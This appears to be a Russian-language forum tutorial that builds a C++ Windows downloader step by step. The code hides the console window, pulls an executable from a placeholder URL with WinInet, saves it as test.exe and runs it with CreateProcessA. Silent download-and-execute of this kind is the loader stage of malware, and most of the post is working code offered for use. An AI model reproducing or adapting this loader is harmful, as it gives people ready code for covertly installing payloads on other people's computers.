Для начала скажу, я не буду объяснять подробно параметры и т.п. каждой функции, зайдите на msdn и прочтите.
Ссылка на репозиторий на -> <-
Для начала подключим все директивы:Ссылка на репозиторий на -> <-
#include <Windows.h>
#include <WinInet.h>
#include <vector>
#pragma comment(lib,"wininet")
#pragma warning(disable : 4996)
Объявим функции main, где находится прямая ссылка на файл:
void main()
{
[INDENT] ShowWindow(GetConsoleWindow(), SW_HIDE); // Скрытие консоли[/INDENT]
[INDENT] const char url[] = "https://url/file.exe"; // ссылка на файл[/INDENT]
[INDENT] download_file_and_run(url); // функция для запуска процесса скачки[/INDENT]
[INDENT]#ifdef _DEBUG[/INDENT]
[INDENT] system("pause");[/INDENT]
[INDENT]#endif[/INDENT]
}
Теперь самая главная функция, которая будет выполнять собственно основную задачу:
Для скачки файла, нужно установить соединение с сайтом, поэтому с помощью функция WinInet мы пишем:
HINTERNET hOpen = InternetOpenA("", NULL, NULL, NULL, NULL);
if (!hOpen) return NULL;
HINTERNET hFile = InternetOpenUrlA(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL);
if (!hFile) {
InternetCloseHandle(hOpen);
return NULL;
}
Далее объявим переменные, куда мы запишем байты нашей программы:
std::vector<char> tempdata; // временный буфер для чтения байтов программы
char* data = NULL; // буфер, куда в последующем будет записаны байты
DWORD dwBytesRead = 0; // сколько прочитано байтов
Объявим основной цикл чтения байтов программы:
do
{
char buffer[1024];
InternetReadFile(hFile, buffer, _countof(buffer), &dwBytesRead);
for (unsigned int i = 0; i < dwBytesRead; i++)
{
tempdata.push_back(buffer[i]);
}
} while (dwBytesRead);
data = new char[tempdata.size()];
for (unsigned int i = 0; i < tempdata.size(); i++)
{
data[i] = tempdata[i];
}
// И обязательно закроем соединение
InternetCloseHandle(hFile);
InternetCloseHandle(hOpen);
Далее нужно создать и записать байты программы из буфера data в файл:
if (data)
{
HANDLE hFile = CreateFileA("test.exe", GENERIC_READ | GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, data, tempdata.size(), &dwBytesRead, NULL);
CloseHandle(hFile);
// ....
Все, файл скачан, можно добавить дополнительно и запуск этого файла, продолжая предыдущий блок if:
STARTUPINFOA si; // структура содержащая информацию о создаваемом процессе(типа размер окна, заголовок и т.п )
PROCESS_INFORMATION pi; // структура, содержащая информацию об процессе
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessA("test.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi))
printf("CreateProcess failed."); // Создать процесс скачанного файла
// закрываем объекты ядра
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}